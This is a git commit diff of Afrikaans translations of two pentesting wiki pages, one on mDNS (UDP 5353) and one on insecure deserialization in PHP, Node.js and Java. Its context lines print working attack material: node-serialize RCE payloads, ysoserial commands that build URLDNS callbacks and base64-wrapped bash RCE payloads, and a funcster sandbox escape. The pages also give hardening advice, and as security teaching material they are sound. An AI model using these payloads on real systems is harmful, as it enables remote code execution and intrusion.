Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:41:56 +00:00
parent df94055b87
commit ea1423727c
2 changed files with 113 additions and 63 deletions

View File

@ -101,23 +101,23 @@ Ook kyk na generiese LLMNR/NBNS/mDNS/WPAD spoofing en geloofsbrief vang/relay we
### Aantekeninge oor onlangse implementasie probleme (nuttig vir DoS/persistensie tydens betrokkenhede)
- Avahi bereikbare-assertie en D-Bus crash foute (2023) kan avahi-daemon op Linux verspreidings beëindig (bv. CVE-2023-38469..38473, CVE-2023-1981), wat diensontdekking op teikenhosts ontwrig totdat dit herbegin word.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) laat aangrensende aanvallers toe om hoë CPU te dryf en AP's te ontkoppel. As jy 'n mDNS gateway tussen VLAN's teëkom, wees bewus van sy stabiliteit onder verkeerd gevormde of hoë-tempo mDNS.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (2024, CVE-2024-20303) laat aangrensende aanvallers toe om hoë CPU te dryf en AP's te ontkoppel. As jy 'n mDNS-gateway tussen VLAN's teëkom, wees bewus van sy stabiliteit onder verkeerd gevormde of hoë-tempo mDNS.
## Verdedigende oorwegings en OPSEC
- Segmentgrense: Moet nie 224.0.0.251/FF02::FB tussen sekuriteitsgebiede roete nie, tensy 'n mDNS gateway eksplisiet vereis word. As jy moet ontdekking oorbrug, verkies toelaatlys en tempo beperkings.
- Segmentgrense: Moet nie 224.0.0.251/FF02::FB tussen sekuriteitsgebiede roete nie, tensy 'n mDNS-gateway eksplisiet vereis word. As jy ontdekking moet oorbrug, verkies toelaatlys en tempo beperkings.
- Windows eindpunte/bedieners:
- Om naamresolusie via mDNS hard te deaktiveer, stel die registerwaarde in en herbegin:
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- In bestuurde omgewings, deaktiveer die ingeboude “mDNS (UDP-In)” Windows Defender Firewall reël (ten minste op die Domein profiel) om inkomende mDNS verwerking te voorkom terwyl huis/roaming funksionaliteit behou word.
- Op nuwer Windows 11 weergawes/GPO sjablone, gebruik die beleid “Rekenaar Konfigurasie > Administratiewe Sjablone > Netwerk > DNS Kliënt > Konfigureer multicast DNS (mDNS) protokol” en stel dit op Gedeaktiveer.
- Op nuwer Windows 11 weergawes/GPO sjablone, gebruik die beleid “Rekenaar Konfigurasie > Administratiewe Sjablone > Netwerk > DNS Kliënt > Konfigureer multicast DNS (mDNS) protokol” en stel dit op Deaktiveer.
- Linux (Avahi):
- Beperk publikasie wanneer dit nie nodig is nie: stel `disable-publishing=yes`, en beperk interfaces met `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`.
- Oorweeg `check-response-ttl=yes` en vermy `enable-reflector=yes` tensy dit streng vereis word; verkies `reflect-filters=` toelaatlys wanneer jy reflekteer.
- macOS: Beperk inkomende mDNS by gasheer/netwerk vuurmure wanneer Bonjour ontdekking nie nodig is vir spesifieke subnetwerke.
- Monitering: Waak vir ongewone styging in `_services._dns-sd._udp.local` navrae of skielike veranderinge in SRV/TXT van kritieke dienste; dit is aanduiders van spoofing of diens impersonasie.
- macOS: Beperk inkomende mDNS by gasheer/netwerk vuurmure wanneer Bonjour ontdekking nie nodig is vir spesifieke subnetwerke nie.
- Monitering: Alarmeer oor ongewone styging in `_services._dns-sd._udp.local` navrae of skielike veranderinge in SRV/TXT van kritieke dienste; dit is aanduiders van spoofing of diens impersonasie.
## Gereedskap vinnige verwysing

View File

@ -8,17 +8,17 @@
**Deserialisering**, aan die ander kant, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer in 'n objek te herbou.
Deserialisering kan gevaarlik wees omdat dit potensieel **aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer** of onvoorsiene gedrag in die toepassing te veroorsaak tydens die objek herbou proses.
Deserialisering kan gevaarlik wees omdat dit potensieel **aanvallers toelaat om die geserialiseerde data te manipuleer om skadelike kode uit te voer** of om onverwagte gedrag in die toepassing te veroorsaak tydens die objek herbou proses.
## PHP
In PHP word spesifieke magiese metodes gebruik tydens die serialisering en deserialisering prosesse:
- `__sleep`: Word aangeroep wanneer 'n objek geserialiseer word. Hierdie metode moet 'n array van die name van alle eienskappe van die objek wat geserialiseer moet word, teruggee. Dit word algemeen gebruik om hangende data te bevestig of soortgelyke skoonmaak take uit te voer.
- `__wakeup`: Word genoem wanneer 'n objek gedeserialiseer word. Dit word gebruik om enige databasisverbindinge wat tydens serialisering verlore gegaan het, te hersteld en ander herbegin take uit te voer.
- `__wakeup`: Word genoem wanneer 'n objek gedeserialiseer word. Dit word gebruik om enige databasisverbindinge wat tydens serialisering verlore gegaan het, te hersteld en ander herinitialisering take uit te voer.
- `__unserialize`: Hierdie metode word in plaas van `__wakeup` (as dit bestaan) aangeroep wanneer 'n objek gedeserialiseer word. Dit bied meer beheer oor die deserialisering proses in vergelyking met `__wakeup`.
- `__destruct`: Hierdie metode word aangeroep wanneer 'n objek op die punt is om vernietig te word of wanneer die skrip eindig. Dit word tipies gebruik vir skoonmaak take, soos om lêerhandvatsels of databasisverbindinge te sluit.
- `__toString`: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n lêer te lees of ander take gebaseer op die funksie-aanroepe binne dit, wat effektief 'n teksuele voorstelling van die objek bied.
- `__destruct`: Hierdie metode word aangeroep wanneer 'n objek op die punt staan om vernietig te word of wanneer die skrip eindig. Dit word tipies gebruik vir skoonmaak take, soos om lêerhandvatsels of databasisverbindinge te sluit.
- `__toString`: Hierdie metode laat 'n objek toe om as 'n string behandel te word. Dit kan gebruik word om 'n lêer te lees of ander take gebaseer op die funksie-aanroepe binne-in, wat effektief 'n teksuele voorstelling van die objek bied.
```php
<?php
class test {
@ -115,12 +115,12 @@ $o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```
### Voorkoming van PHP Objekt Inspuiting met `allowed_classes`
### Voorkoming van PHP Object Injectie met `allowed_classes`
> [!INFO]
> Ondersteuning vir die **tweede argument** van `unserialize()` (die `$options` array) is bygevoeg in **PHP 7.0**. In ouer weergawes aanvaar die funksie slegs die geserialiseerde string, wat dit onmoontlik maak om te beperk watter klasse geïnstantieer mag word.
`unserialize()` sal **elke klas** instansieer wat dit binne die geserialiseerde stroom vind, tensy anders gesê. Sedert PHP 7 kan die gedrag beperk word met die [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) opsie:
`unserialize()` sal **elke klas** instel wat dit binne die geserialiseerde stroom vind, tensy anders gesê. Sedert PHP 7 kan die gedrag beperk word met die [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) opsie:
```php
// NEVER DO THIS full object instantiation
$object = unserialize($userControlledData);
@ -170,12 +170,12 @@ Sodra die admin die inskrywing gesien het, is die objek geïnstantieer en `SomeC
### PHPGGC (ysoserial vir PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) kan jou help om payloads te genereer om PHP deserialisasies te misbruik.\
Let daarop dat jy in verskeie gevalle **nie 'n manier sal vind om 'n deserialisasie in die bronnekode** van die toepassing te misbruik nie, maar jy mag dalk in staat wees om **die kode van eksterne PHP uitbreidings te misbruik.**\
Let daarop dat jy in verskeie gevalle **nie 'n manier sal vind om 'n deserialisasie in die bronnekode** van die toepassing te misbruik nie, maar jy mag dalk **die kode van eksterne PHP-uitbreidings kan misbruik.**\
So, as jy kan, kyk na die `phpinfo()` van die bediener en **soek op die internet** (en selfs op die **gadgets** van **PHPGGC**) vir moontlike gadgets wat jy kan misbruik.
### phar:// metadata deserialisering
### phar:// metadata deserialisasie
As jy 'n LFI gevind het wat net die lêer lees en nie die php kode binne dit uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisering** te misbruik wat plaasvind wanneer **jy** 'n **lêer** lees met die **phar** protokol.\
As jy 'n LFI gevind het wat net die lêer lees en nie die php-kode binne-in uitvoer nie, byvoorbeeld deur funksies soos _**file_get_contents(), fopen(), file() of file_exists(), md5_file(), filemtime() of filesize()**_**.** Jy kan probeer om 'n **deserialisasie** te misbruik wat plaasvind wanneer **'n lêer** gelees word met die **phar** protokol.\
Vir meer inligting, lees die volgende pos:
{{#ref}}
@ -211,7 +211,7 @@ Die volgende bladsy bied die tegniek aan om **'n onveilige deserialisering in ya
python-yaml-deserialization.md
{{#endref}}
### Klassiekkontaminasie (Python Prototype Pollution)
### Klassie Pollusie (Python Prototype Pollusie)
{{#ref}}
../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@ -222,9 +222,9 @@ python-yaml-deserialization.md
### JS Magiese Funksies
JS **het nie "magiese" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype kontaminasie misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.
As jy 'n deserialisering misbruik kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel die prototype pollusies misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.
Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer word** net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer** word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -271,7 +271,7 @@ var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
```
Die **serialiseerde objek** sal soos volg lyk:
Die **geserialiseerde objek** sal soos volg lyk:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
@ -286,8 +286,8 @@ Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en
Soos jy in die laaste stuk kode kan sien, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, so basies **word gebruikersinvoer binne die `eval` funksie gebruik**.
Egter, **net om 'n funksie te serialiseer** **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\
In elk geval, jy kan net die **geserialiseerde objek** **wysig deur 'n paar haakies** toe te voeg om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie outomaties die kode sal uitvoer:
In elk geval, jy kan net die **geserialiseerde objek** **wysig deur 'n paar haakies** by te voeg om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
In die volgende stuk kode **let op die laaste haakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer:
```javascript
var serialize = require("node-serialize")
var test = {
@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
Soos voorheen aangedui, sal hierdie biblioteek die kode na `_$$ND_FUNC$$_` kry en dit **uitvoer** met behulp van `eval`. Daarom, om **kode outomaties uit te voer**, kan jy die **funksie skepping** deel en die laaste haakie verwyder en **net 'n JS oneliner uitvoer** soos in die volgende voorbeeld:
Soos voorheen aangedui, sal hierdie biblioteek die kode na `_$$ND_FUNC$$_` kry en dit **uitvoer** met behulp van `eval`. Daarom, om **kode outomaties uit te voer**, kan jy die **funksie skep** deel en die laaste haakie verwyder en **net 'n JS oneliner uitvoer** soos in die volgende voorbeeld:
```javascript
var serialize = require("node-serialize")
var test =
@ -306,9 +306,9 @@ U kan [**hier vind**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js
### [funcster](https://www.npmjs.com/package/funcster)
'n Opmerkelijke aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hersteld word met die volgende snit:
Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hergestel word met die volgende snit:
```javascript
funcster = require("funcster")
//Serialization
@ -394,13 +394,13 @@ Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** w
- HTTP antwoordkoppe met `Content-type` ingestel op `application/x-java-serialized-object`.
- Heksadesimale patroon wat vorige kompressie aandui: `1F 8B 08 00`.
- Base64 patroon wat vorige kompressie aandui: `H4sIA`.
- Weblêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek uitlok soos gedetailleerd in die [pos oor Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Die ontdekking van hierdie patrone in 'n webtoepassing moet 'n ondersoek uitlok soos gedetailleerd in die [pos oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
### Kontroleer of kwesbaar
As jy wil **leer hoe 'n Java Deserialized exploit werk** moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
As jy wil **leer hoe 'n Java Deserialized exploit werk**, moet jy kyk na [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), en [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
#### White Box Toets
@ -409,35 +409,35 @@ Jy kan kyk of daar enige toepassing geïnstalleer is met bekende kwesbaarhede.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Jy kan probeer om **alle biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of jy kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
Jy kan probeer om **al die biblioteke** wat bekend is as kwesbaar te kontroleer en wat [**Ysoserial** ](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of jy kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
Jy kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\
Wanneer jy **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**.
Wanneer jy **gadgetinspector** (na dit gebou is) hardloop, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**.
#### Swartdoos toets
Met die Burp-uitbreiding [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) kan jy **identifiseer watter biblioteke beskikbaar is** (en selfs die weergawes). Met hierdie inligting kan dit **makkelijker wees om 'n payload te kies** om die kwesbaarheid te ontplof.\
[**Lees dit om meer oor GadgetProbe te leer**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe fokus op **`ObjectInputStream` deserialisasies**.
GadgetProbe is gefokus op **`ObjectInputStream` deserializations**.
Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan jy **kwesbare biblioteke** identifiseer wat met ysoserial ontplof kan word en dit **ontplof**.\
Met die Burp-uitbreiding [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) kan jy **kwesbare biblioteke identifiseer** wat met ysoserial ontplof kan word en **dit ontplof**.\
[**Lees dit om meer oor Java Deserialization Scanner te leer.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner fokus op **`ObjectInputStream`** deserialisasies.
Java Deserialization Scanner is gefokus op **`ObjectInputStream`** deserializations.
Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserialisasie** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisasie biblioteke. In aktiewe modus sal dit probeer om dit te bevestig met behulp van slaap of DNS payloads.\
Jy kan ook [**Freddy**](https://github.com/nccgroup/freddy) gebruik om **deserializations** kwesbaarhede in **Burp** te **detecteer**. Hierdie plugin sal **nie net `ObjectInputStream`** verwante kwesbaarhede opspoor nie, maar ook kwesbaarhede van **Json** en **Yml** deserialisering biblioteke. In aktiewe modus sal dit probeer om dit te bevestig met behulp van slaap of DNS payloads.\
[**Jy kan meer inligting oor Freddy hier vind.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialisering toets**
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om **die data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (misschien jou admin regte binne 'n webapp te gee).\
Nie alles gaan oor die kontroleer of enige kwesbare biblioteek deur die bediener gebruik word nie. Soms kan jy in staat wees om die **data binne die geserialiseerde objek te verander en sommige kontroles te omseil** (misschien jou admin regte binne 'n webapp te gee).\
As jy 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **kan jy** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **gebruik om die geserialiseerde objek wat gestuur word in 'n meer menslike leesbare formaat te druk**. Om te weet watter data jy stuur, sal dit makliker wees om dit te verander en sommige kontroles te omseil.
### **Ontploffing**
#### **ysoserial**
Die hoofgereedskap om Java deserialisasies te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou sal toelaat om komplekse opdragte (met pype byvoorbeeld) te gebruik.\
Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Jy kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat jou sal toelaat om komplekse opdragte te gebruik (met pype byvoorbeeld).\
Let daarop dat hierdie gereedskap **gefokus** is op die ontploffing van **`ObjectInputStream`**.\
Ek sou **begin om die "URLDNS"** payload **te gebruik voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag.
Ek sou **begin met die "URLDNS"** payload **voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag deur **spasies** geskei te gee (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html).
Wanneer jy 'n payload vir **java.lang.Runtime.exec()** skep, kan jy **nie spesiale karakters** soos ">" of "|" gebruik om die uitvoer van 'n uitvoering te herlei nie, "$()" om opdragte uit te voer of selfs **argumente** aan 'n opdrag geskei deur **spasies** oor te dra (jy kan `echo -n "hello world"` doen, maar jy kan nie `python2 -c 'print "Hello world"'` doen nie). Om die payload korrek te kodeer, kan jy [hierdie webblad gebruik](http://www.jackson-t.ca/runtime-exec-payloads.html).
Voel vry om die volgende skrip te gebruik om **alle moontlike kode-uitvoering** payloads vir Windows en Linux te skep en dit dan op die kwesbare webblad te toets:
```python
@ -512,7 +512,7 @@ Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetColle
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)kan gebruik word om payloads te genereer om verskillende **Json** en **Yml** serialisering biblioteke in Java te exploiteer.\
Om die projek te kompileer, moes ek hierdie **afhangkings** by `pom.xml` voeg:
Om die projek te kompileer, moes ek **byvoeg** hierdie **afhangklikhede** aan `pom.xml`:
```html
<dependency>
<groupId>javax.activation</groupId>
@ -547,8 +547,8 @@ Java gebruik baie serialisering vir verskeie doeleindes soos:
- **HTTP versoeke**: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
- **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afstandkommunikasie in Java-toepassings.
- **RMI oor HTTP**: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasie benut.
- **JMX (Java Management Extensions)**: JMX benut serialisering om objek te oordra oor die netwerk.
- **RMI oor HTTP**: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasies benut.
- **JMX (Java Management Extensions)**: JMX gebruik serialisering om objek te oordra oor die netwerk.
- **Pasgemaakte Protokolle**: In Java is die standaardpraktyk om rou Java-objekte oor te dra, wat in komende eksploitvoorbeelde demonstreer sal word.
### Voorkoming
@ -562,9 +562,9 @@ public class myAccount implements Serializable
private transient double profit; // declared transient
private transient double margin; // declared transient
```
#### Vermyde serialisering van 'n klas wat `Serializable` moet implementeer
#### Vermyde Serialisering van 'n klas wat moet implementeer Serializable
In scenario's waar sekere **objekte die `Serializable`**-koppelvlak moet implementeer weens klas hiërargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, verseker dat hierdie objekte nie-deserialiseerbaar is deur 'n `final` `readObject()`-metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:
In scenario's waar sekere **objekte die `Serializable`** koppelvlak moet implementeer weens klas hiërargie, is daar 'n risiko van onbedoelde deserialisering. Om dit te voorkom, verseker dat hierdie objekte nie-deserialiseerbaar is deur 'n `final` `readObject()` metode te definieer wat konsekwent 'n uitsondering gooi, soos hieronder getoon:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -575,7 +575,7 @@ throw new java.io.IOException("Cannot be deserialized");
**Aanpassing van `java.io.ObjectInputStream`** is 'n praktiese benadering om deserialisering proses te beveilig. Hierdie metode is geskik wanneer:
- Die deserialisering kode is onder jou beheer.
- Die klasse wat verwag word vir deserialisering is bekend.
- Die klasse wat vir deserialisering verwag word, is bekend.
Oorheers die **`resolveClass()`** metode om deserialisering tot slegs toegelate klasse te beperk. Dit voorkom deserialisering van enige klas behalwe dié wat eksplisiet toegelaat is, soos in die volgende voorbeeld wat deserialisering tot die `Bicycle` klas beperk:
```java
@ -598,7 +598,7 @@ return super.resolveClass(desc);
}
}
```
**Gebruik van 'n Java Agent vir Sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM parameter:
**Gebruik van 'n Java-agent vir Sekuriteitsverbetering** bied 'n terugvaloplossing wanneer kode-modifikasie nie moontlik is nie. Hierdie metode geld hoofsaaklik vir **swartlys van skadelike klasse**, met 'n JVM-parametervar:
```
-javaagent:name-of-agent.jar
```
@ -606,7 +606,7 @@ Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings
Kyk na 'n voorbeeld in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria te spesifiseer waaraan serialiseerde objekke moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekke moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
Om serialisering filters te gebruik, kan jy 'n globale filter instel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:
```java
@ -638,7 +638,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Java en .Net JSON deserialisering **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Deserialiserings CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- Deserialisering CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Inspuiting & log4Shell
@ -671,7 +671,7 @@ Die hulpmiddel [JMET](https://github.com/matthiaskaiser/jmet) is geskep om **ver
### Verwysings
- [Patchstack advisory Everest Forms ongeverifieerde PHP Objekt Inspuiting (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- [Patchstack advisory Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
- JMET praat: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
